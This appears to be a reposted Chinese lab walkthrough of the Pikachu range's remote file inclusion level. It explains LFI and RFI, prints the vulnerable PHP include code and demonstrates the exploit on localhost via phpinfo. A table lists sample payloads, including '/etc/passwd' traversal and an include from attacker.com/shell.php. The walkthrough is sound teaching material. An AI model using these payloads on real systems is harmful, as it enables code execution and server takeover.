pikachu靶场通关笔记31 文件包含02之远程文件包含

目录

一、文件包含功能

二、文件包含Vulnerability

二、远程文件包含

三、环境配置

1、进入靶场

2、搭建环境 

(1)定位php.ini文件

(2)修改php.ini文件

四、源码分析

五、渗透实战

1、选择科比

2、执行phpinfo

(1)获取脚本地址

(2)远程文件包含渗透


本系列为《pikachu靶场通关笔记》渗透实战,本文通过对文件包含关卡(File Inclusion)源码的代码审计找到产生缺陷的真实原因,讲解远程文件包含关卡的原理并进行渗透实践。

一、文件包含功能

文件包含是Web开发中常用的功能,允许程序动态加载外部文件(如HTML模板、配置文件或代码库),以提高代码复用性。在PHP中,主要通过以下函数实现:

  • include:包含文件,失败时警告但继续执行。

  • require:包含文件,失败时终止程序。

  • include_once/require_once:避免重复包含。

二、文件包含Vulnerability

文件包含Vulnerability(File Inclusion Vulnerability)是指Web应用程序在包含文件(如PHP的includerequire等函数)时,未对用户输入进行严格过滤,导致攻击者可以包含恶意文件(如服务器上的敏感文件或远程脚本),从而造成任意代码执行(RCE)敏感信息泄露

开发者常常会使用文件包含函数,像 PHP 的include()require()include_once()require_once()等,把其他文件内容包含到当前页面中。若程序没有对用户输入的文件路径进行严格过滤与验证,攻击者就能够通过构造特殊的输入,让应用程序包含恶意文件。

二、远程文件包含

远程文件包含(Remote File Inclusion,RFI)通常出现在服务器端脚本语言(如PHP、Java等)中。当应用程序通过用户输入动态地包含远程服务器上的文件时,如果没有对输入进行严格过滤和验证,攻击者可以利用远程文件包含缺陷将恶意文件放置在远程服务器上,并通过构造包含恶意文件URL的请求,让目标应用程序加载并执行该文件。

文件包含分为本地文件包含和远程文件包含,两者区别如下所示。

对比项本地文件包含(LFI)远程文件包含(RFI)
定义包含服务器本地的任意文件包含远程服务器上的恶意脚本文件
攻击目标读取敏感文件(如/etc/passwd、配置文件)直接执行远程恶意代码(如WebShell)
利用方式通过../等遍历目录通过URL包含http://ftp://远程资源
PHP配置要求无需特殊配置allow_url_include=On(默认关闭)
危害等级中高危(信息泄露)严重(直接RCE,服务器沦陷)
典型攻击载荷?file=../../etc/passwd?file=http://attacker.com/shell.php
依赖条件文件路径可控1. 路径可控
2. 服务器能访问外网
常见防御措施1. 白名单限制文件路径
2. 禁用目录遍历符号
1. 关闭allow_url_include
2. 过滤http://等协议
渗透测试用途1. 窃取配置文件
2. 结合日志注入执行代码
1. 直接获取服务器权限
2. 植入后门
伪协议利用支持(如php://filter读取文件内容)支持(如php://input直接执行POST代码)

三、环境配置

1、进入靶场

进入pikachu靶场的远程文件包含关卡,完整URL地址如下所示。

http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php

进入到远程包含关卡页面后发现提示“warning:你的allow_url_include没有打开,请在php.ini中打开了再测试该关卡,记得修改后,重启中间件服务!”,需要配置环境满足条件,具体如下所示。 

2、搭建环境 

将php.ini文件里的allow_url_include改成On,远程文件包含的前提是需要满足如下条件。

allow_url_fopen=On (默认打开)
allow_url_include=On(默认关闭,所以要手动改为On)

(1)定位php.ini文件

方法1:①打开小皮工具,依次点击设置—配置文件—php.ini—php版本号

方法2:②找到小皮工具文件夹—Extensions—php—php版本号—php.ini

(2)修改php.ini文件

 按照下图查找并修改php.ini文件,开启allow_url_include和allow_url_fopen,切记修改之后重启小皮apache,否则不生效

四、源码分析

打开piakchu靶场的源码目录,找到file_remote.php,具体如下所示。

源码的主要功能是动态包含服务器本地或远程文件,经过详细注释的源码如下所示。

// 远程文件包含风险的演示代码
$html = ''; // 初始化HTML输出变量// 检查是否提交了表单且filename参数不为空
if (isset($_GET['submit']) && $_GET['filename'] != null) {$filename = $_GET['filename']; // 直接获取用户输入的filename参数include "$filename"; // 关键点:直接包含用户可控的变量,无任何过滤!
}

 不过这段代码有文件包含安全风险,如果allow_url_include=On配置打开还有远程包含安全风险,原因如下所示。

原因具体问题
未过滤用户输入直接使用$_GET['filename'],攻击者可注入恶意路径。
危险函数调用include直接执行文件内容,若包含PHP文件会解析代码。
配置依赖php.ini中开启allow_url_include=On(默认关闭),否则仅能本地文件包含(LFI)。

五、渗透实战

1、选择科比

重启Apache后重试pikachu靶场远程文件上传,选择科比,留意当前URL地址,具体如下所示。

http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php#

此时进入到远程文件包含页面,已无3.1部分的警告信息,具体如下所示。 

选择第一个运动员科比,留意URL地址,此时filename被赋值为filename=include%2Ffile1.php,具体如下所示。

http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php?filename=include%2Ffile1.php&submit=%E6%8F%90%E4%BA%A4

2、执行phpinfo

(1)获取脚本地址

在pikachu靶场的test目录中,存在phpinfo.txt文件,其完整的URL地址如下所示。

http://127.0.0.1/pikachu/test/phpinfo.txt

(2)远程文件包含渗透

 将5.1部分的filename=include/file1.php换成phpinfo的链接地址,具体如下所示。

filename=http://127.0.0.1/pikachu/test/phpinfo.txt

这样远程文件包含渗透的完整URL地址如下所示。

http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php?filename=http://127.0.0.1/pikachu/test/phpinfo.txt&submit=%E6%8F%90%E4%BA%A4

如下所示成功获取到服务器的php信息,渗透成功。 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.pswp.cn/web/83799.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

QT集成Boost库

在Windows平台上,使用Qt集成Boost库,并基于MSVC编译器在CMake文件中加载,可以按照以下步骤进行配置。 Boost库的编译 如果Boost库未预编译,需要手动编译,解压zip到D:\Library\boost_1_87_0,打开cmd命令行…

MySQL从库复制延迟的监测

目录 ⏱️ 一、原生内置方法❤️ 二、心跳表工具(如pt-heartbeat)⚙️ 三、MySQL 8.0 增强方案📊 四、各方案对比总结💎 五、选择建议 MySQL从库复制延迟的监测是保障数据一致性和读写分离可靠性的关键环节,以下是主流…

slam--最小二乘问题--凹凸函数

最小二乘问题 最小二乘问题标准公式 残差函数,线性和非线性最小二乘 最小二乘问题的两种写法: 目标 找到 x使得预测值 Ax与观测值 b 的残差平方和最小。 范数和范数平方 线性最小二乘 一般形式: 残差 rAx−b是x 的线性函数。 目标函数是…

crackme008

crackme008 名称值软件名称Andrnalin.1.exe加壳方式无保护方式serial编译语言Microsoft Visual Basic调试环境win10 64位使用工具x32dbg,PEid破解日期2025-06-10 脱壳 1. 先用PEid查壳 查到无壳 寻找Serial 寻找flag,用x32dbg打开程序,鼠标右键->…

【C语言】图书管理系统(文件存储版)丨源码+详解

一、系统介绍 这是一个基于C语言开发的终端图书管理系统,采用链表数据结构​​二进制文件存储技术实现。系统具有以下特点: ​双角色系统​:管理员(管理图书)和读者(借阅/归还)​完整功能​&a…

Java求职者面试题解析:Spring、Spring Boot、MyBatis框架与源码原理

Java求职者面试题解析:Spring、Spring Boot、MyBatis框架与源码原理 第一轮:基础概念问题 1. 请解释什么是Spring框架?它的核心特性有哪些? Spring是一个开源的Java/Java EE应用程序框架,用于简化企业级应用开发。其…

【Chipyard】修改Gemmini 中PE的数量

实战目标 PE数量扩大到原来4倍 原来配置 tileRows: Int 1,tileColumns: Int 1,meshRows: Int 16,meshColumns: Int 16, 改后配置 tileRows: Int 1,tileColumns: Int 1,meshRows: Int 32,meshColumns: Int 32, 修改配置 1. 修改gemmini的scala配置文件,用…

TCP客户端进程分割输入输出

创建TCP客户端&#xff0c;创建子进程分割TCP客户端的read功能和write功能&#xff0c;实现分割I/O的目的。加快客户端速率。 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <signal.h> #include …

Wi-Fi 6 在 2.4GHz 频段的速率与优化分析

Wi-Fi 6&#xff08;802.11ax&#xff09;在 2.4GHz 和 5GHz 频段均可工作&#xff0c;理论最高速率可达 1200 Mbps&#xff08;5GHz&#xff0c;80MHz&#xff0c;22 MIMO&#xff09;。但在 2.4GHz 频段&#xff0c;速率受 信道宽度、MIMO、调制方式、干扰、协议开销 影响&am…

WPF--Application.Current.Dispatcher.BeginInvoke

1.代码示例 private void LogInfoList_CollectionChanged(object? sender, NotifyCollectionChangedEventArgs e) {// 直接在这里修改集合会引发递归if (e.Action NotifyCollectionChangedAction.Add){if (logInfoList.Count > 200){logInfoList.RemoveAt(0); // 这里会…

ZooKeeper详解以及应用部署(AI)

ZooKeeper 是一个开源的分布式协调服务框架&#xff0c;旨在为分布式应用提供一致性保障和关键协调功能。其核心设计理念是将复杂的分布式一致性逻辑封装为简单可靠的接口&#xff0c;让开发者专注于业务逻辑而非底层协调难题。以下是其核心要点&#xff1a; &#x1f9e0; 一、…

将MySQL数据库中所有表和字段编码统一改为utf8mb4_unicode_ci

完整操作步骤 1. 首先修改数据库默认字符集 sql ALTER DATABASE 你的数据库名 CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci; 2. 生成批量修改所有表的SQL语句 sql SELECT CONCAT(ALTER TABLE , table_schema, ., table_name, CONVERT TO CHARACTER SET utf8mb4 C…

jupyterhub的浅浅使用-重点在解决无法登录

jupyterhub的浅浅使用-重点在解决无法登录 jupyterhub的浅浅使用-重点在解决无法登录1、jupyterhub是什么2、创建Dockerfile3、启动容器3.1、生成配置文件jupyterhub --generate-config3.2、运行容器3.3、进入容器配置用户密码3.4、访问127.0.0.1:8000并登录 4、后台创建的用户…

【Bitcoin基础】比特币的地址格式有哪些?如何应用?

比特币地址格式的分类及应用场景 比特币地址是用于接收和发送比特币的标识符&#xff0c;主要有以下几种格式&#xff0c;每中类型都有其特定的用途和特点: 比特币地址格式 P2PKH 1xxxx leagcy地址 P2SH 3xxxx 允许更复杂的交易多重签名 bech32 bc1xxxx bech32mP2TR…

3.1.2_栈的顺序存储实现

知识总览&#xff1a; 顺序栈的定义&#xff1a; 顺序栈是用顺序存储实现的 &#xff0c;代码定义方式和顺序表类似(啥是顺序表来着&#xff1f;&#xff1f;&#xff1f;) 定义一个顺序栈struct结构体SqStack&#xff0c;结构体中有静态数组data来存放栈里边的元素1个int型的…

JavaEE初阶第一期:计算机是如何 “思考” 的(上)

专栏&#xff1a;JavaEE初阶起飞计划 个人主页&#xff1a;手握风云 一、冯诺依曼体系结构 1.1. 概念 冯诺依曼体系结构&#xff08;Von Neumann Architecture&#xff09;&#xff0c;是现代计算机的基础设计概念&#xff0c;核心思想是“存储程序控制”。具体来说&#xff0c…

SQL Server全局搜索:在整个数据库中查找特定值的高效方法

SQL Server全局搜索&#xff1a;在整个数据库中查找特定值的高效方法 一、需求背景&#xff1a;为什么需要数据库全局搜索&#xff1f; 在数据库管理和开发过程中&#xff0c;我们经常会遇到这样的场景&#xff1a; 只记得某个数据值&#xff0c;但忘记了它所在的表或列需要…

万物皆数:构建数字信号处理的数学基石

万物皆数&#xff1a;构建数字信号处理的数学基石 欢迎来到数字信号处理&#xff08;DSP&#xff09;的世界。在这里&#xff0c;声音、图像、通信信号、医疗数据……一切信息都被转化为一串串冰冷的数字。然而&#xff0c;正是通过对这些数字的精妙运算&#xff0c;我们得以实…

到院率最高提升40%,消费医疗用AI营销机器人跑赢增长焦虑

当前&#xff0c;消费医疗机构普遍依赖人工咨询师进行客户接待和营销咨询。然而&#xff0c;专业咨询师缺口高达20万人&#xff0c;大量“护士转咨询”“销售转咨询”现象导致方案设计专业性不足&#xff0c;客户投诉率提升40%。人工客服不仅医学知识薄弱&#xff0c;学习能力有…

【推荐算法】注意力机制与兴趣演化:推荐系统如何抓住用户的心?

注意力机制与兴趣演化&#xff1a;推荐系统如何抓住用户的心&#xff1f; 一、算法背景知识&#xff1a;从静态推荐到动态感知1.1 传统推荐系统的局限性1.2 人类注意力机制的启示 二、算法理论/结构&#xff1a;动态兴趣建模革命2.1 DIN&#xff08;深度兴趣网络&#xff09;&a…